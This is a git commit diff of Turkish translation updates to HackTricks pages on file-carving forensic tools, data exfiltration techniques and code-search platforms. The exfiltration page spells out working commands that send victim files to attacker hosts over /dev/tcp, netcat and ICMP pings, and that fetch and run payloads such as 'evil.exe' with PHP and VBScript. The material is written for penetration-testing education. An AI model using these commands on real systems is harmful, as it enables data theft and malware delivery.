Translated ['forensics/basic-forensic-methodology/partitions-file-system

This commit is contained in:
Translator 2024-03-24 13:33:29 +00:00
parent f8a9b55ca5
commit f88c8e832b
47 changed files with 1782 additions and 1918 deletions

View file

@ -2,11 +2,11 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
@ -16,7 +16,7 @@ HackTricks'ı desteklemenin diğer yolları:
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,9 +26,9 @@ HackTricks'ı desteklemenin diğer yolları:
Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Otopsi ### Autopsy
Görüntülerden dosyaları çıkarmak için forenzikte en yaygın kullanılan araç [**Otopsi**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve dosyayı içeri alması için "gizli" dosyaları bulmasını sağlayın. Otopsi'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek üzere inşa edildiğini unutmayın, ancak basit dosyaları desteklemez. Görüntülerden dosyaları çıkarmak için en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve dosyayı içeri alarak "gizli" dosyaları bulmasını sağlayın. Autopsy, disk görüntülerini ve diğer türdeki görüntüleri desteklemek üzere oluşturulmuştur, ancak basit dosyaları desteklemez.
### Binwalk <a href="#binwalk" id="binwalk"></a> ### Binwalk <a href="#binwalk" id="binwalk"></a>
@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
``` ```
### Foremost ### Foremost
Gizli dosyaları bulmak için başka bir yaygın araç **foremost**'tir. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Belirli dosyaları aramak istiyorsanız, onları yorum satırından çıkarın. Hiçbir şeyi yorum satırından çıkarmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. Gizli dosyaları bulmak için başka yaygın bir araç **foremost**'tir. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Belirli dosyaları aramak istiyorsanız, onları yorum satırından çıkarın. Hiçbir şeyi yorum satırından çıkarmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır.
```bash ```bash
sudo apt-get install foremost sudo apt-get install foremost
foremost -v -i file.img -o output foremost -v -i file.img -o output
@ -60,13 +60,13 @@ scalpel file.img -o output
Bu araç Kali içinde gelir ancak burada da bulabilirsiniz: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) Bu araç Kali içinde gelir ancak burada da bulabilirsiniz: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, e-postaları)** ve daha fazla **dosyayı çıkarabilir**. Yapmanız gereken tek şey: Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, e-postaları)** ve daha fazla **dosyayı çıkaracaktır**. Yapmanız gereken tek şey:
``` ```
bulk_extractor memory.img -o out_folder bulk_extractor memory.img -o out_folder
``` ```
### PhotoRec ### PhotoRec
[PhotoRec](https://www.cgsecurity.org/wiki/TestDisk_Download) bulabilirsiniz. [PhotoRec](https://www.cgsecurity.org/wiki/TestDisk_Download) bulunan bir araçtır.
GUI ve CLI sürümleriyle gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz. GUI ve CLI sürümleriyle gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz.
@ -82,42 +82,42 @@ Kodu [buradan](https://code.google.com/archive/p/binvis/) ve [web sayfa aracın
- Farklı odak noktaları için birden fazla çizim - Farklı odak noktaları için birden fazla çizim
- Bir örneğin bölümlerine odaklanma - Bir örneğin bölümlerine odaklanma
- PE veya ELF yürütülebilir dosyalarda **dizileri ve kaynakları** görmek - PE veya ELF yürütülebilir dosyalarda **dizileri ve kaynakları** görmek
- Dosyalardaki kriptoanaliz için **desenler** elde etme - Dosyalarda kriptoanaliz için **desenler** elde etme
- Paketleyici veya kodlayıcı algoritmaları **belirleme** - Paketleyici veya kodlayıcı algoritmaları **tespit etme**
- Desenler aracılığıyla **Steganografiyi tanımlama** - Desenlere göre **Steganografi** tanımlama
- **Görsel** ikili farklılaştırma - **Görsel** ikili farklılaştırma
BinVis, siyah kutu senaryosunda **bilinmeyen bir hedefle tanışmak için harika bir başlangıç noktasıdır**. BinVis, bir siyah kutu senaryosunda **bilinmeyen bir hedefle tanışmak için harika bir başlangıç noktasıdır**.
## Özel Veri Oyma Araçları ## Özel Veri Kazıma Araçları
### FindAES ### FindAES
AES anahtarlarını arayarak anahtar programlarını arar. TrueCrypt ve BitLocker gibi kullanılan 128, 192 ve 256 bit anahtarları bulabilir. AES anahtarlarını arayarak anahtar programlarını arar. TrueCrypt ve BitLocker gibi kullanılan 128, 192 ve 256 bit anahtarları bulabilir.
[Şuradan](https://sourceforge.net/projects/findaes/) indirebilirsiniz. İndirme bağlantısı [burada](https://sourceforge.net/projects/findaes/).
## Tamamlayıcı araçlar ## Tamamlayıcı Araçlar
Resimleri terminalden görmek için [**viu**](https://github.com/atanunq/viu)'yu kullanabilirsiniz.\ Resimleri terminalden görmek için [**viu**](https://github.com/atanunq/viu)'yu kullanabilirsiniz.\
Bir pdf'i metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext**'i kullanabilirsiniz. Bir pdf'i metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext**'i kullanabilirsiniz.
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- Özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin * Özel [**NFT'lerimiz olan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin. * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin.
- **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details> </details>

View file

@ -2,11 +2,11 @@
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
@ -14,9 +14,9 @@ HackTricks'ı desteklemenin diğer yolları:
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,9 +24,9 @@ HackTricks'ı desteklemenin diğer yolları:
## Bilgi çıkarmak için genellikle izin verilen alan adları ## Bilgi çıkarmak için genellikle izin verilen alan adları
[https://lots-project.com/](https://lots-project.com/) adresini kontrol ederek kötüye kullanılabilecek genellikle izin verilen alan adlarını bulun Sıkça izin verilen alan adlarını kötüye kullanabileceğiniz alan adlarını bulmak için [https://lots-project.com/](https://lots-project.com/) adresini kontrol edin
## Base64 Kopyala ve Yapıştır ## Kopyala ve Yapıştır Base64
**Linux** **Linux**
```bash ```bash
@ -163,7 +163,7 @@ ftp -n -v -s:ftp.txt
``` ```
## SMB ## SMB
Sunucu olarak Kali Kali olarak sunucu
```bash ```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
@ -194,13 +194,13 @@ Windows
Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including: Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:
1. **Email**: Sending data as email attachments to an external email address. 1. **Email**: Sending data as email attachments to an external email address.
2. **FTP**: Transferring data using the File Transfer Protocol to an external server. 2. **FTP**: Transferring data to an external FTP server.
3. **DNS**: Encoding data within DNS requests to leak information. 3. **DNS**: Encoding data within DNS requests to leak information.
4. **HTTP/HTTPS**: Sending data over HTTP or HTTPS to a remote server. 4. **HTTP/HTTPS**: Sending data over HTTP or HTTPS protocols to a remote server.
5. **Steganography**: Hiding data within images or other files to avoid detection. 5. **Steganography**: Hiding data within images or other files to avoid detection.
6. **Cloud Storage**: Uploading data to cloud storage services like Dropbox or Google Drive. 6. **Cloud Storage**: Uploading data to cloud storage services for later retrieval.
Exfiltration can be a critical phase in an attack, as it allows threat actors to steal sensitive information from a target organization. It is important for defenders to monitor and control outbound network traffic to detect and prevent exfiltration attempts. It is important for pentesters to understand these exfiltration methods in order to assess the security posture of a system and recommend appropriate countermeasures.
```bash ```bash
CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -210,13 +210,13 @@ WindPS-2> cd new_disk:
``` ```
## SCP ## SCP
Saldırganın SSHd çalışıyor olmalıdır. Saldırganın SSHd çalışıyor olması gerekmektedir.
```bash ```bash
scp <username>@<Attacker_IP>:<directory>/<filename> scp <username>@<Attacker_IP>:<directory>/<filename>
``` ```
## SSHFS ## SSHFS
Eğer kurbanın SSH'si varsa, saldırgan kurbanın dizinini saldırganın dizinine bağlayabilir. Eğer kurbanın SSH'si varsa, saldırgan kurbanın dizinini saldırgana bağlayabilir.
```bash ```bash
sudo apt-get install sshfs sudo apt-get install sshfs
sudo mkdir /mnt/sshfs sudo mkdir /mnt/sshfs
@ -224,28 +224,28 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
``` ```
## NC ## NC
NC, veya Netcat, bir ağ aracıdır ve sıkça kullanılan bir exfiltration aracıdır. Ağ üzerinden veri transferi yapmak için kullanılır. Örneğin, bir hedef makineden veri çalmak veya bir hedef makineye veri göndermek için kullanılabilir. Ayrıca, bir geri kapı oluşturmak veya bir hedef makineye erişim sağlamak için de kullanılabilir. NC, or Netcat, is a versatile networking tool that can be used for exfiltration. It can create connections to remote systems, listen for incoming connections, and transfer data between systems. Netcat can be used to exfiltrate data over various protocols such as TCP or UDP. It is a powerful tool for both legitimate network administration tasks and unauthorized data exfiltration activities.
```bash ```bash
nc -lvnp 4444 > new_file nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file nc -vn <IP> 4444 < exfil_file
``` ```
## /dev/tcp ## /dev/tcp
### Kurbanın dosyasını indirin ### Kurbanın cihazından dosya indirme
```bash ```bash
nc -lvnp 80 > file #Inside attacker nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
``` ```
### Kurbanın cihazına dosya yükle ### Dosyayı hedefe yükle
```bash ```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim # Inside victim
exec 6< /dev/tcp/10.10.10.10/4444 exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt cat <&6 > file.txt
``` ```
Teşekkürler **@BinaryShadow\_**
## **ICMP** ## **ICMP**
**ICMP (Internet Control Message Protocol)**, İnternet Protokolü (IP) üzerinden hata mesajlarını iletmek ve ağ cihazları arasında iletişimi sağlamak için kullanılan bir protokoldür. ICMP, ağ üzerindeki hataları ve durumları raporlamak için kullanılır. Bu protokol, ağ cihazları arasında bilgi alışverişi yapmak için kullanılan bir araçtır.
```bash ```bash
# To exfiltrate the content of a file via pings you can do: # To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
@ -291,37 +291,15 @@ tftp -i <KALI-IP> get nc.exe
``` ```
## PHP ## PHP
PHP ile bir dosyayı indirin: PHP'de bir oneliner ile bir dosya indirin:
```bash ```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
``` ```
## VBScript ## VBScript
### VBScript Exfiltration Techniques ### VBScript Exfiltration
VBScript can be used to exfiltrate data from a compromised system. Below are some common techniques used for data exfiltration using VBScript: VBScript can be used to exfiltrate data from a compromised system. This can be achieved by writing the data to a file and then sending it to an external server using various methods such as HTTP POST requests or SMTP email. VBScript can also be used to compress the data before exfiltration to minimize the size of the transferred data.
1. **HTTP Requests**: VBScript can be used to send HTTP requests to an external server controlled by the attacker. This can be used to exfiltrate data by sending it as part of the request parameters or body.
2. **Email**: VBScript can also be used to send emails with the exfiltrated data as an attachment or within the email body. This can be done using SMTP protocols.
3. **File Transfer**: VBScript can be used to transfer files from the compromised system to an external server using protocols like FTP or SMB.
4. **DNS Requests**: VBScript can be used to make DNS requests to a malicious DNS server controlled by the attacker. Data can be exfiltrated by encoding it within the DNS requests.
### Detection and Prevention
To detect and prevent data exfiltration using VBScript, consider the following measures:
- **Network Monitoring**: Monitor network traffic for any suspicious HTTP requests or unusual patterns that may indicate data exfiltration.
- **Email Filtering**: Implement email filtering to detect and block any emails containing sensitive data leaving the network.
- **File Integrity Monitoring**: Monitor file changes and transfers initiated by VBScript to detect unauthorized exfiltration of data.
- **DNS Monitoring**: Monitor DNS requests for any unusual patterns or requests to known malicious DNS servers.
By implementing these measures, organizations can enhance their security posture and protect against data exfiltration using VBScript.
```bash ```bash
Attacker> python -m SimpleHTTPServer 80 Attacker> python -m SimpleHTTPServer 80
``` ```
@ -359,14 +337,14 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
``` ```
## Debug.exe ## Debug.exe
`debug.exe` programı sadece ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **onları onaltılıktan yeniden oluşturma yeteneğine** sahiptir. Bu, bir ikili dosyanın onaltılık bir biçimini sağlayarak `debug.exe`nin ikili dosyayı oluşturabilmesi anlamına gelir. Bununla birlikte, debug.exe'nin **64 kb boyutundaki dosyaları birleştirme sınırı** olduğunu unutmamak önemlidir. `debug.exe` programı sadece ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **onları onaltılıktan yeniden oluşturma yeteneğine** sahiptir. Bu, bir ikili dosyanın onaltılık bir biçimini sağlayarak `debug.exe`nin ikili dosyayı oluşturabileceği anlamına gelir. Bununla birlikte, debug.exe'nin **64 kb boyutundaki dosyaları birleştirme sınırı** olduğunu unutmamak önemlidir.
```bash ```bash
# Reduce the size # Reduce the size
upx -9 nc.exe upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt wine exe2bat.exe nc.exe nc.txt
``` ```
```markdown ```markdown
Ardından metni windows-shell'e kopyalayıp nc.exe adında bir dosya oluşturulacaktır. Ardından metni windows-shell'e kopyalayıp yapıştırın ve nc.exe adında bir dosya oluşturulacaktır.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) * [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
@ -376,21 +354,21 @@ Ardından metni windows-shell'e kopyalayıp nc.exe adında bir dosya oluşturula
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!</summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * Özel [**NFT'lerimizden oluşan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'ı takip edin. * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) takip edin.
* Hacking püf noktalarınızı paylaşarak PR'lar göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
</details> </details>
``` ```

View file

@ -2,7 +2,7 @@
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
@ -10,41 +10,41 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin. * **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
Bu sayfanın amacı, bir veya daha fazla platformda binlerce/milyonlarca depoda **kod aramaya izin veren platformları** sıralamaktır. Bu sayfanın amacı, bir veya daha fazla platformda binlerce/milyonlarca depoda kod (doğal veya regex) aramaya izin veren **platformları sıralamaktır**.
Bu, **sızdırılmış bilgileri aramak** veya **zafiyetlerin** desenlerini aramak için birkaç durumda yardımcı olur. Bu, **sızdırılmış bilgileri aramak** veya **zafiyetlerin** desenlerini aramak için birkaç durumda yardımcı olur.
* [**SourceGraph**](https://sourcegraph.com/search): Milyonlarca depoda arama yapın. Ücretsiz bir sürümü ve kurumsal bir sürümü (15 günlük ücretsiz) bulunmaktadır. Regex'leri destekler. * [**SourceGraph**](https://sourcegraph.com/search): Milyonlarca depoda arama yapın. Ücretsiz bir sürümü ve kurumsal bir sürümü (15 günlük ücretsiz) bulunmaktadır. Regex'leri destekler.
* [**Github Arama**](https://github.com/search): Github üzerinde arama yapın. Regex'leri destekler. * [**Github Arama**](https://github.com/search): Github üzerinde arama yapın. Regex'leri destekler.
* Belki de [**Github Kod Arama**](https://cs.github.com/) da kontrol etmek faydalı olabilir. * Belki de [**Github Kod Arama**](https://cs.github.com/) da faydalı olabilir.
* [**Gitlab Gelişmiş Arama**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab projeleri arasında arama yapın. Regex'leri destekler. * [**Gitlab Gelişmiş Arama**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab projeleri arasında arama yapın. Regex'leri destekler.
* [**SearchCode**](https://searchcode.com/): Milyonlarca projede kod arayın. * [**SearchCode**](https://searchcode.com/): Milyonlarca projede kod arayın.
{% hint style="warning" %} {% hint style="warning" %}
Bir depoda sızıntıları ararken `git log -p` gibi bir şey çalıştırdığınızda unutmayın, **diğer sırlar içeren diğer taakları** olabileceğini! Bir depoda sızıntıları ararken ve `git log -p` gibi bir şey çalıştırırken **unutmayın ki başka sırlar içeren başka dallar olabilir**!
{% endhint %} {% endhint %}
**Try Hard Güvenlik Grubu** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
@ -52,6 +52,6 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
